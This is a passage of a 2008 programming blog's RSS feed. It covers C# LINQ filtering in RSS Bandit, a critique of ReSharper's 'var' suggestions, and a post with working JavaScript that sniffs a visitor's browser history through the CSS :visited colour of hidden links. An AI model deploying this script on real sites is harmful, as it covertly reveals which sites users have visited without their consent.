categories are compared in a case insensitive manner to remove duplicates from the
union. If there are no categories defined in any of the feed sources then only the
default category ends up being returned. 
&lt;/p&gt;
&lt;p&gt;
When a user is viewing their Google Reader feeds in RSS Bandit, any action the user
takes in the application is reflected on the Web. So each time a user marks an item
as read, renames a feed title, subscribes or unsubscribes from a feed, a Web request
is made behind the scenes to update the user's state on the Web via Google Reader's
REST API. Instead of making the Web requests synchronously and possibly tying up the
UI I instead add each Web request intended for the Google Reader API to a queue of
pending operations. Since the operations may sit in the queue for a few seconds or
minutes in the worst case, we can optimize network usage by removing events from the
queue if they end up being redundant. 
&lt;/p&gt;
&lt;p&gt;
For example. the &lt;code&gt;DeleteFeedFromGoogleReader()&lt;/code&gt; method removes every pending
operation related to a particular feed if an unsubscribe event is enqueued. After
all, there is no point in making Web requests to mark the feed as read or rename it,
if the next request from the user is to unsubscribe from the feed. The method uses
a filter operation, &lt;a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.where.aspx"&gt;Enumerable.Where&lt;/a&gt;,
to determine the events to remove as shown below
&lt;/p&gt;
&lt;pre class="code"&gt;&lt;span style="color: blue;"&gt; public void &lt;/span&gt;DeleteFeedFromGoogleReader(&lt;span style="color: blue;"&gt;string &lt;/span&gt;googleUserID, &lt;span style="color: blue;"&gt;string &lt;/span&gt;feedUrl)
{ &lt;span style="color: blue;"&gt;var &lt;/span&gt;deleteOp &lt;span style="color: red;"&gt;= &lt;/span&gt;&lt;span style="color: blue;"&gt;new &lt;/span&gt;&lt;span style="color: rgb(43, 145, 175);"&gt;PendingGoogleReaderOperation&lt;/span&gt;(&lt;span style="color: rgb(43, 145, 175);"&gt;GoogleReaderOperation&lt;/span&gt;&lt;span style="color: red;"&gt;.&lt;/span&gt;DeleteFeed, &lt;span style="color: blue;"&gt;new
object&lt;/span&gt;[] {feedUrl},googleUserID); &lt;span style="color: blue;"&gt;lock &lt;/span&gt;(pendingGoogleReaderOperations)
{ &lt;span style="color: green;"&gt;//remove all pending operations related to the feed
since it is going to be unsubscribed &lt;/span&gt;&lt;span style="color: rgb(43, 145, 175);"&gt;IEnumerable&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(43, 145, 175);"&gt;PendingGoogleReaderOperation&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;gt; &lt;/span&gt;ops2remove &lt;span style="color: red;"&gt;= &lt;/span&gt;pendingGoogleReaderOperations&lt;span style="color: red;"&gt;.&lt;/span&gt;Where(op &lt;span style="color: red;"&gt;=&amp;gt; &lt;/span&gt;op&lt;span style="color: red;"&gt;.&lt;/span&gt;GoogleUserName&lt;span style="color: red;"&gt;.&lt;/span&gt;Equals(deleteOp&lt;span style="color: red;"&gt;.&lt;/span&gt;GoogleUserName) &lt;span style="color: red;"&gt;&amp;amp;&amp;amp; &lt;/span&gt;op&lt;span style="color: red;"&gt;.&lt;/span&gt;Parameters&lt;span style="color: red;"&gt;.&lt;/span&gt;Contains(feedUrl)); &lt;span style="color: blue;"&gt;foreach &lt;/span&gt;(&lt;span style="color: rgb(43, 145, 175);"&gt;PendingGoogleReaderOperation &lt;/span&gt;op2remove &lt;span style="color: blue;"&gt;in &lt;/span&gt;ops2remove)
{ pendingGoogleReaderOperations&lt;span style="color: red;"&gt;.&lt;/span&gt;Remove(op2remove);
} pendingGoogleReaderOperations&lt;span style="color: red;"&gt;.&lt;/span&gt;Add(deleteOp); }
}&lt;/pre&gt;
&lt;p&gt;
There are more examples from the RSS Bandit code base but I'm sure you get the idea.
The point is that functional programming techniques give you the ability to get more
bang for your buck (where bucks are lines of code) even when performing the most mundane
of tasks.&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
If your programming language doesn't support lambda functions or have map/reduce/filter
functions built in, you just might be a &lt;a href="http://weblog.raganwald.com/2006/10/are-we-blub-programmers.html"&gt;Blub
Programmer&lt;/a&gt; who is missing out on being more productive because your programming
language doesn't support "esoteric" or "weird" features. 
&lt;/p&gt;
&lt;p&gt;
My next step is to spend more time with Lisp. Wish me luck. :) 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Now Playing&lt;/b&gt;: &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Lil%20Wayne"&gt;Lil
Wayne&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Lil%20Wayne&amp;amp;songTerm=Lollipop%20%28remix%29%20%28feat.%20Kanye%20West%29"&gt;Lollipop
(remix) (feat. Kanye West)&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=3d5755bf-43cf-4d47-a7ec-b60f6b536702" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,3d5755bf-43cf-4d47-a7ec-b60f6b536702.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=22093d29-1270-46dc-94e5-d6633c790e2c</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,22093d29-1270-46dc-94e5-d6633c790e2c.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,22093d29-1270-46dc-94e5-d6633c790e2c.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=22093d29-1270-46dc-94e5-d6633c790e2c</wfw:commentRss>
      <slash:comments>10</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Recently we got a new contributor on <a href="http://www.rssbandit.org">RSS Bandit</a> who
uses the <a href="http://www.jetbrains.com/resharper/">ReSharper</a> refactoring tool.
This has led to a number of changes to our code base due to suggestions from ReSharper.
For the most part, I've considered these changes to be benign until recently. A few
weeks ago, I grabbed a recent snap shot of the code from SVN and was surprised to
see all the type declarations in method bodies replaced by <a href="http://msdn.microsoft.com/en-us/library/bb308966.aspx#csharp3.0overview_topic2">implicitly
typed variable declarations</a> (aka the <code>var</code> keyword). Below is an excerpt
of what some of the "refactored" code now look likes. 
</p>
        <blockquote>
          <pre class="code">
            <span style="color: blue">var </span>selectedIsChild <span style="color: red">= </span>NodeIsChildOf(TreeSelectedFeedsNode,
selectedNode); <span style="color: blue">var </span>isSmartOrAggregated <span style="color: red">= </span>(selectedNode<span style="color: red">.</span>Type <span style="color: red">== </span><span style="color: #2b91af">FeedNodeType</span><span style="color: red">.</span>Finder <span style="color: red">|| </span>selectedNode<span style="color: red">.</span>Type <span style="color: red">== </span><span style="color: #2b91af">FeedNodeType</span><span style="color: red">.</span>SmartFolder); <span style="color: green">//mark
all viewed stories as read </span><span style="color: blue">if </span>(listFeedItems<span style="color: red">.</span>Items<span style="color: red">.</span>Count <span style="color: red">&gt; </span><span style="color: purple">0</span>){
listFeedItems<span style="color: red">.</span>BeginUpdate(); <span style="color: blue">for </span>(<span style="color: blue">var </span>i <span style="color: red">= </span><span style="color: purple">0</span>;
i <span style="color: red">&lt; </span>listFeedItems<span style="color: red">.</span>Items<span style="color: red">.</span>Count;
i<span style="color: red">++</span>){ <span style="color: blue">var </span>lvi <span style="color: red">= </span>listFeedItems<span style="color: red">.</span>Items[i]; <span style="color: blue">var </span>newsItem <span style="color: red">= </span>(<span style="color: #2b91af">INewsItem</span>)
lvi<span style="color: red">.</span>Key;</pre>
        </blockquote>
        <p>
I found this change to be somewhat puzzling since while it may have shortened the
code by a couple of characters on each line but <em>at the cost of making the code
less readable</em>. For example, I can't tell what the type of the variable named <strong>lvi</strong> is
just by looking at the code. 
</p>
        <p>
I did some searching online to see how the ReSharper team justified this refactoring
"suggestion" and came across the blog post entitled  <a title="http://resharper.blogspot.com/2007/08/resharper-vs-c-30-implicitly-typed.html" href="http://resharper.blogspot.com/2007/08/resharper-vs-c-30-implicitly-typed.html">ReSharper
vs C# 3.0 - Implicitly Typed Locals</a> by a member of the ReSharper team which contains
the following excerpt 
</p>
        <blockquote>
          <p>
            <em>Some cases where it seems just fine to suggest var are:</em>
          </p>
          <ol>
            <li>
              <em>New object creation expression: var dictionary = new Dictionary&lt;int, string&gt;();</em>
            </li>
            <li>
              <em>Cast expression: var element = (IElement)obj;</em>
            </li>
            <li>
              <em>Safe Cast expression: var element = obj as IElement;</em>
            </li>
            <li>
              <em>Generic method call with explicit type arguments, when return type is generic:
var manager = serviceProvider.GetService&lt;IManager&gt;()</em>
            </li>
            <li>
              <em>Generic static method call or property with explicit type arguments, when return
type is generic: var manager = Singleton&lt;Manager&gt;.Instance;</em>
            </li>
          </ol>
          <p>
            <em>However, various code styles may need to suggest in other cases. For example,
programming in functional style with small methods can benefit from suggesting every
suitable local variable to be converted to var style. Or may be your project has IElement
root interface and you just know that every variable with "element" name
is IElement and you don't want explicit types for this case. Probably, any method
with the name GetTreeNode() always return ITreeNode and you want vars for all such
local variable. </em>
          </p>
          <p>
            <em>
              <font color="#ff0000">Currently, we have two suggestions: one that suggests every
suitable explicitly typed local to be converted to implicitly typed var, and another
that suggests according to rules above</font>.</em>
          </p>
        </blockquote>
        <p>
So it seems there are two suggestion modes. The first suggests using the <code>var</code> keyword
when the name of the type is obvious from the right hand side expression being evaluated
such as casts or new object creation. The second mode suggests replacing type declarations
with the <code>var</code> keyword anywhere the compiler can infer the type [which
is pretty much everywhere except for a few edge cases such as when you want to initialize
a variable with <code>null</code> at declaration].  
</p>
        <p>
The first suggestion mode makes sense to me since the code doesn't lose any clarity
and it makes for shorter code. The second mode is the one I find problematic it takes
information out of the equation to save a couple of characters per line of code. Each
time someone is reading the code, they need to resort to using Go To Definition or
Auto-Complete features of their IDE to tell something as simple as "what is the
type of this object". 
</p>
        <p>
Unfortunately, the ReSharper developers seem to have dug in their heels religiously
on this topic as can be seen in the post entitled <a href="http://resharper.blogspot.com/2008/03/varification-using-implicitly-typed.html">Varification
-- Using Implicitly Typed Locals</a> where a number of arguments are made justifying
always using implicitly typed variables including 
</p>
        <ul>
          <li>
            <em>It induces better naming for local variables.</em>
          </li>
          <li>
            <em>It induces better API.</em>
          </li>
          <li>
            <em>It induces variable initialization.</em>
          </li>
          <li>
            <em>It removes code noise</em>
          </li>
          <li>
            <em>It doesn't require using directive.</em>
          </li>
        </ul>
        <p>
It's interesting how not only are almost all of these "benefits" mainly
stylistic but how they contradict each other. For example, the claim that it leads
to "better naming for local variables" really means it compels developers
to use LONGER HUNGARIAN STYLE VARIABLE NAMES. Funny enough, these long variable names
add more noise to the code overall since they show up everywhere the variable is used
compared to a single type name showing up when the variable is declared. The argument
that it leads to "better API" is another variation of this theme since it
argues that if you are compelled to use LONGER MORE DESCRIPTIVE PROPERTY NAMES (e.g.
XmlNode.XmlNodeName instead of XmlNode.Name) then this is an improvement.  Someone
should inform the ReSharper folks that encoding type information in variable names
sucks, that's why we're using a strongly typed programming language like C# in the
first place. 
</p>
        <p>
One more thing, the claim that it encourages variable initialization is weird given
that the C# compiler already enforces that. More importantly, the common scenario
of initializing a variable to <code>null</code> before it is used isn't supported
by the <code>var</code> keyword.
</p>
        <p>
In conclusion, it seems to me that someone on the ReSharper team went overboard in
wanting to support the new features in C# 3.0 in their product even though in some
cases using these features cause more problems than they solve. Amusingly enough,
the C# 3.0 language designers foresaw this problem and put the following note in <a href="http://msdn.microsoft.com/en-us/library/bb383973.aspx">the
C# language reference</a></p>
        <blockquote>
          <p>
            <strong>Remarks:</strong> Overuse of var can make source code less readable for others.
It is recommended to use var only when it is necessary, that is, when the variable
will be used to store an anonymous type or a collection of anonymous types.
</p>
        </blockquote>
        <p>
Case closed. 
</p>
        <p>
          <b>Now Playing</b>: <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Mariah Carey">Mariah
Carey</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Mariah Carey&amp;songTerm=Side Effects (featuring Young Jeezy)">Side
Effects (featuring Young Jeezy)</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=22093d29-1270-46dc-94e5-d6633c790e2c" />
      </body>
      <title>C# 3.0 Implicit Type Declarations: To var or not to var?</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,22093d29-1270-46dc-94e5-d6633c790e2c.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/05/21/C30ImplicitTypeDeclarationsToVarOrNotToVar.aspx</link>
      <pubDate>Wed, 21 May 2008 13:20:57 GMT</pubDate>
      <description>&lt;p&gt;
Recently we got a new contributor on &lt;a href="http://www.rssbandit.org"&gt;RSS Bandit&lt;/a&gt; who
uses the &lt;a href="http://www.jetbrains.com/resharper/"&gt;ReSharper&lt;/a&gt; refactoring tool.
This has led to a number of changes to our code base due to suggestions from ReSharper.
For the most part, I've considered these changes to be benign until recently. A few
weeks ago, I grabbed a recent snap shot of the code from SVN and was surprised to
see all the type declarations in method bodies replaced by &lt;a href="http://msdn.microsoft.com/en-us/library/bb308966.aspx#csharp3.0overview_topic2"&gt;implicitly
typed variable declarations&lt;/a&gt; (aka the &lt;code&gt;var&lt;/code&gt; keyword). Below is an excerpt
of what some of the &amp;quot;refactored&amp;quot; code now look likes. 
&lt;/p&gt;
&lt;blockquote&gt; &lt;pre class="code"&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;selectedIsChild &lt;span style="color: red"&gt;= &lt;/span&gt;NodeIsChildOf(TreeSelectedFeedsNode,
selectedNode); &lt;span style="color: blue"&gt;var &lt;/span&gt;isSmartOrAggregated &lt;span style="color: red"&gt;= &lt;/span&gt;(selectedNode&lt;span style="color: red"&gt;.&lt;/span&gt;Type &lt;span style="color: red"&gt;== &lt;/span&gt;&lt;span style="color: #2b91af"&gt;FeedNodeType&lt;/span&gt;&lt;span style="color: red"&gt;.&lt;/span&gt;Finder &lt;span style="color: red"&gt;|| &lt;/span&gt;selectedNode&lt;span style="color: red"&gt;.&lt;/span&gt;Type &lt;span style="color: red"&gt;== &lt;/span&gt;&lt;span style="color: #2b91af"&gt;FeedNodeType&lt;/span&gt;&lt;span style="color: red"&gt;.&lt;/span&gt;SmartFolder); &lt;span style="color: green"&gt;//mark
all viewed stories as read &lt;/span&gt;&lt;span style="color: blue"&gt;if &lt;/span&gt;(listFeedItems&lt;span style="color: red"&gt;.&lt;/span&gt;Items&lt;span style="color: red"&gt;.&lt;/span&gt;Count &lt;span style="color: red"&gt;&amp;gt; &lt;/span&gt;&lt;span style="color: purple"&gt;0&lt;/span&gt;){
listFeedItems&lt;span style="color: red"&gt;.&lt;/span&gt;BeginUpdate(); &lt;span style="color: blue"&gt;for &lt;/span&gt;(&lt;span style="color: blue"&gt;var &lt;/span&gt;i &lt;span style="color: red"&gt;= &lt;/span&gt;&lt;span style="color: purple"&gt;0&lt;/span&gt;;
i &lt;span style="color: red"&gt;&amp;lt; &lt;/span&gt;listFeedItems&lt;span style="color: red"&gt;.&lt;/span&gt;Items&lt;span style="color: red"&gt;.&lt;/span&gt;Count;
i&lt;span style="color: red"&gt;++&lt;/span&gt;){ &lt;span style="color: blue"&gt;var &lt;/span&gt;lvi &lt;span style="color: red"&gt;= &lt;/span&gt;listFeedItems&lt;span style="color: red"&gt;.&lt;/span&gt;Items[i]; &lt;span style="color: blue"&gt;var &lt;/span&gt;newsItem &lt;span style="color: red"&gt;= &lt;/span&gt;(&lt;span style="color: #2b91af"&gt;INewsItem&lt;/span&gt;)
lvi&lt;span style="color: red"&gt;.&lt;/span&gt;Key;&lt;/pre&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
I found this change to be somewhat puzzling since while it may have shortened the
code by a couple of characters on each line but &lt;em&gt;at the cost of making the code
less readable&lt;/em&gt;. For example, I can't tell what the type of the variable named &lt;strong&gt;lvi&lt;/strong&gt; is
just by looking at the code. 
&lt;/p&gt;
&lt;p&gt;
I did some searching online to see how the ReSharper team justified this refactoring
&amp;quot;suggestion&amp;quot; and came across the blog post entitled&amp;#160; &lt;a title="http://resharper.blogspot.com/2007/08/resharper-vs-c-30-implicitly-typed.html" href="http://resharper.blogspot.com/2007/08/resharper-vs-c-30-implicitly-typed.html"&gt;ReSharper
vs C# 3.0 - Implicitly Typed Locals&lt;/a&gt; by a member of the ReSharper team which contains
the following excerpt 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;Some cases where it seems just fine to suggest var are:&lt;/em&gt;
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;em&gt;New object creation expression: var dictionary = new Dictionary&amp;lt;int, string&amp;gt;();&lt;/em&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Cast expression: var element = (IElement)obj;&lt;/em&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Safe Cast expression: var element = obj as IElement;&lt;/em&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Generic method call with explicit type arguments, when return type is generic:
var manager = serviceProvider.GetService&amp;lt;IManager&amp;gt;()&lt;/em&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Generic static method call or property with explicit type arguments, when return
type is generic: var manager = Singleton&amp;lt;Manager&amp;gt;.Instance;&lt;/em&gt; 
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;em&gt;However, various code styles may need to suggest in other cases. For example,
programming in functional style with small methods can benefit from suggesting every
suitable local variable to be converted to var style. Or may be your project has IElement
root interface and you just know that every variable with &amp;quot;element&amp;quot; name
is IElement and you don't want explicit types for this case. Probably, any method
with the name GetTreeNode() always return ITreeNode and you want vars for all such
local variable. &lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;&lt;font color="#ff0000"&gt;Currently, we have two suggestions: one that suggests every
suitable explicitly typed local to be converted to implicitly typed var, and another
that suggests according to rules above&lt;/font&gt;.&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
So it seems there are two suggestion modes. The first suggests using the &lt;code&gt;var&lt;/code&gt; keyword
when the name of the type is obvious from the right hand side expression being evaluated
such as casts or new object creation. The second mode suggests replacing type declarations
with the &lt;code&gt;var&lt;/code&gt; keyword anywhere the compiler can infer the type [which
is pretty much everywhere except for a few edge cases such as when you want to initialize
a variable with &lt;code&gt;null&lt;/code&gt; at declaration].&amp;#160; 
&lt;/p&gt;
&lt;p&gt;
The first suggestion mode makes sense to me since the code doesn't lose any clarity
and it makes for shorter code. The second mode is the one I find problematic it takes
information out of the equation to save a couple of characters per line of code. Each
time someone is reading the code, they need to resort to using Go To Definition or
Auto-Complete features of their IDE to tell something as simple as &amp;quot;what is the
type of this object&amp;quot;. 
&lt;/p&gt;
&lt;p&gt;
Unfortunately, the ReSharper developers seem to have dug in their heels religiously
on this topic as can be seen in the post entitled &lt;a href="http://resharper.blogspot.com/2008/03/varification-using-implicitly-typed.html"&gt;Varification
-- Using Implicitly Typed Locals&lt;/a&gt; where a number of arguments are made justifying
always using implicitly typed variables including 
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;It induces better naming for local variables.&lt;/em&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;It induces better API.&lt;/em&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;It induces variable initialization.&lt;/em&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;It removes code noise&lt;/em&gt; 
&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;It doesn't require using directive.&lt;/em&gt; 
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
It's interesting how not only are almost all of these &amp;quot;benefits&amp;quot; mainly
stylistic but how they contradict each other. For example, the claim that it leads
to &amp;quot;better naming for local variables&amp;quot; really means it compels developers
to use LONGER HUNGARIAN STYLE VARIABLE NAMES. Funny enough, these long variable names
add more noise to the code overall since they show up everywhere the variable is used
compared to a single type name showing up when the variable is declared. The argument
that it leads to &amp;quot;better API&amp;quot; is another variation of this theme since it
argues that if you are compelled to use LONGER MORE DESCRIPTIVE PROPERTY NAMES (e.g.
XmlNode.XmlNodeName instead of XmlNode.Name) then this is an improvement.&amp;#160; Someone
should inform the ReSharper folks that encoding type information in variable names
sucks, that's why we're using a strongly typed programming language like C# in the
first place. 
&lt;/p&gt;
&lt;p&gt;
One more thing, the claim that it encourages variable initialization is weird given
that the C# compiler already enforces that. More importantly, the common scenario
of initializing a variable to &lt;code&gt;null&lt;/code&gt; before it is used isn't supported
by the &lt;code&gt;var&lt;/code&gt; keyword.
&lt;/p&gt;
&lt;p&gt;
In conclusion, it seems to me that someone on the ReSharper team went overboard in
wanting to support the new features in C# 3.0 in their product even though in some
cases using these features cause more problems than they solve. Amusingly enough,
the C# 3.0 language designers foresaw this problem and put the following note in &lt;a href="http://msdn.microsoft.com/en-us/library/bb383973.aspx"&gt;the
C# language reference&lt;/a&gt;
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;Remarks:&lt;/strong&gt; Overuse of var can make source code less readable for others.
It is recommended to use var only when it is necessary, that is, when the variable
will be used to store an anonymous type or a collection of anonymous types.
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
Case closed. 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Now Playing&lt;/b&gt;: &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Mariah Carey"&gt;Mariah
Carey&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Mariah Carey&amp;amp;songTerm=Side Effects (featuring Young Jeezy)"&gt;Side
Effects (featuring Young Jeezy)&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=22093d29-1270-46dc-94e5-d6633c790e2c" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,22093d29-1270-46dc-94e5-d6633c790e2c.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=7856ce93-4146-433f-8e66-24f9182ca974</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,7856ce93-4146-433f-8e66-24f9182ca974.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,7856ce93-4146-433f-8e66-24f9182ca974.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=7856ce93-4146-433f-8e66-24f9182ca974</wfw:commentRss>
      <slash:comments>4</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
        </p>
        <p>
Niall Kennedy has a blog post entitled <a href="http://www.niallkennedy.com/blog/2008/02/browser-history-sniff.html">Sniff
browser history for improved user experience</a> where he describes a common-sense
technique to test URLs against a Web browser’s visited page history. He
writes
</p>
        <blockquote dir="ltr" style="MARGIN-RIGHT: 0px">
          <p>
            <em>I </em>
            <a title="Automatic favorites import using browser history" href="http://www.niallkennedy.com/blog/2006/03/automatic-favor.html">
              <em>first
blogged about this technique almost two years ago</em>
            </a>
            <em> but I will now provide
even more details and example implementations.</em>
            <br />
...<br /><em>A web browser such as Firefox or Internet Explorer will load the current user's
browser history into memory and compare each link (<code>anchor</code>) on the page
against the user's previous history. Previously visited links receive a special </em><a href="http://www.w3.org/TR/REC-CSS2/selector.html%23link-pseudo-classes"><em><acronym>CSS</acronym> pseudo-class
distinction of <code>:visited</code></em></a><em> and may receive special styling.</em><br />
...<br /><em>Any website can test a known set of links against the current visitor's browser
history using standard JavaScript.</em></p>
          <ol>
            <li>
              <em>Place your set of links on the page at load or dynamically using the <acronym>DOM</acronym> access
methods.</em>
            </li>
            <li>
              <em>Attach a special <code>color</code> to each visited link in your test set using
finely scoped <acronym>CSS</acronym>.</em>
            </li>
            <li>
              <em>Walk the evaluated <acronym>DOM</acronym> for each link in your test set, comparing
the link's <code>color</code><code>style</code> against your previously defined value.</em>
            </li>
            <li>
              <em>Record each link that matches the expected value.</em>
            </li>
            <li>
              <em>Customize content based on this new information (optional).</em>
            </li>
          </ol>
          <p>
            <em>Each link needs to be explicitly specified and evaluated. The standard rules of <acronym>URL</acronym> structure
still apply, which means we are evaluating a distinct combination of <code>scheme</code>, <code>host</code>,
and <code>path</code>. We do not have access to wildcard or 
<ABBR title="regular expressions">
regex
</ABBR>
definitions of a linked resource.</em>
          </p>
        </blockquote>
        <p>
Niall goes on to describe the common ways one can improve the user experience on a
site using this technique. I’ve been considering using this approach to reduce <a href="http://www.codinghorror.com/blog/archives/000587.html">the excess
blog flair</a> on my weblog. It doesn’t make much sense to show people a “submit to
reddit” button <img alt="" src="http://static.reddit.com/blog_snoo.png" border="0" /> if
they don’t use <a href="http://www.reddit.com/">reddit</a>. The approach suggested
in Niall’s article makes it possible for me to detect what sites a user visits and
then only display relevant flair on my blog posts. Unfortunately neither of Niall’s
posts on the topic provide example code which is why I’m posting this follow up to
Niall’s post. Below is an HTML page that uses Javascript function to return which
social bookmarking sites a viewer of a Web page actually uses based on their browser
history. 
</p>
        <blockquote dir="ltr" style="MARGIN-RIGHT: 0px">
          <pre>
            <code> &lt;html xmlns="http://www.w3.org/1999/xhtml"
xml:lang="en" lang="en"&gt; &lt;head&gt; &lt;title&gt;What Social Bookmarking Sites
Do You Use?&lt;/title&gt; &lt;script type="text/javascript"&gt; var bookmarking_sites
= new Array("http://programming.reddit.com", "http://www.dzone.com", "http://www.digg.com",
"http://del.icio.us", "http://www.stumbleupon.com", "http://ma.gnolia.com", "http://www.dotnetkicks.com/",
"http://slashdot.org") function DetectSites() { var testelem = document.getElementById("linktest");
var visited_sites = document.getElementById("visited_sites"); var linkColor; var isVisited
= false; for (var i = 0; i &lt; bookmarking_sites.length; i++) { var url2test = document.createElement("a");
url2test.href = bookmarking_sites[i]; url2test.innerHTML = "I'm invisible, you can't
click me"; testelem.appendChild(url2test); if(document.defaultView){ //Mozilla linkColor
= document.defaultView.getComputedStyle(url2test,null).getPropertyValue("color");
if(linkColor == "rgb(100, 149, 237)"){ isVisited = true; } }else if(url2test.currentStyle){
//IE if(url2test.currentStyle.color == "cornflowerblue"){ isVisited = true; } } if
(isVisited) { visited_sites.innerHTML = visited_sites.innerHTML + "&lt;a href='" +
url2test.href + "'&gt;" + url2test.href + "&lt;/a&gt;&lt;br&gt;" } testelem.removeChild(url2test);
isVisited = false; } } &lt;/script&gt; &lt;style type="text/css"&gt; p#linktest a:visited
{ color: CornflowerBlue } &lt;/style&gt; &lt;/head&gt; &lt;body onload="DetectSites()"&gt;
&lt;b&gt;Social Bookmarking Sites You've Visited&lt;/b&gt; &lt;p id="linktest" style="visibility:hidden"
/&gt; &lt;p id="visited_sites" /&gt; &lt;/body&gt; &lt;/html&gt; 
</code>
          </pre>
        </blockquote>
        <p dir="ltr">
Of course, after writing the aforementioned code it occured to me run a Web search
and I found that there are bits of code for doing this all over the Web in places
like <a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html">Jermiah
Grossman’s blog</a> (Firefox only) and <a href="http://www.gnucitizen.org/projects/javascript-visited-link-scanner/">GNUCITIZEN</a>. 
</p>
        <p dir="ltr">
At least now I have it in a handy format; cut, paste and go. 
</p>
        <p dir="ltr">
Now all I need is some free time which in which to tweak my weblogt to start using
the above function instead of showing people links to services they don’t use. 
</p>
        <p>
          <strong>Now playing:</strong>
          <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Disturbed">Disturbed</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Numb&amp;artistTerm=Disturbed">Numb</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=7856ce93-4146-433f-8e66-24f9182ca974" />
      </body>
      <title>How to Probe Browser History Using Javascript in IE and Firefox</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,7856ce93-4146-433f-8e66-24f9182ca974.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/02/07/HowToProbeBrowserHistoryUsingJavascriptInIEAndFirefox.aspx</link>
      <pubDate>Thu, 07 Feb 2008 04:00:13 GMT</pubDate>
      <description>&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
Niall Kennedy has a blog post entitled &lt;a href="http://www.niallkennedy.com/blog/2008/02/browser-history-sniff.html"&gt;Sniff
browser history for improved user experience&lt;/a&gt;&amp;nbsp;where he describes a&amp;nbsp;common-sense
technique to test URLs against&amp;nbsp;a Web&amp;nbsp;browser’s visited page history. He
writes
&lt;/p&gt;
&lt;blockquote dir=ltr style="MARGIN-RIGHT: 0px"&gt; 
&lt;p&gt;
&lt;em&gt;I &lt;/em&gt;&lt;a title="Automatic favorites import using browser history" href="http://www.niallkennedy.com/blog/2006/03/automatic-favor.html"&gt;&lt;em&gt;first
blogged about this technique almost two years ago&lt;/em&gt;&lt;/a&gt;&lt;em&gt; but I will now provide
even more details and example implementations.&lt;/em&gt;
&lt;br&gt;
...&lt;br&gt;
&lt;em&gt;A web browser such as Firefox or Internet Explorer will load the current user's
browser history into memory and compare each link (&lt;code&gt;anchor&lt;/code&gt;) on the page
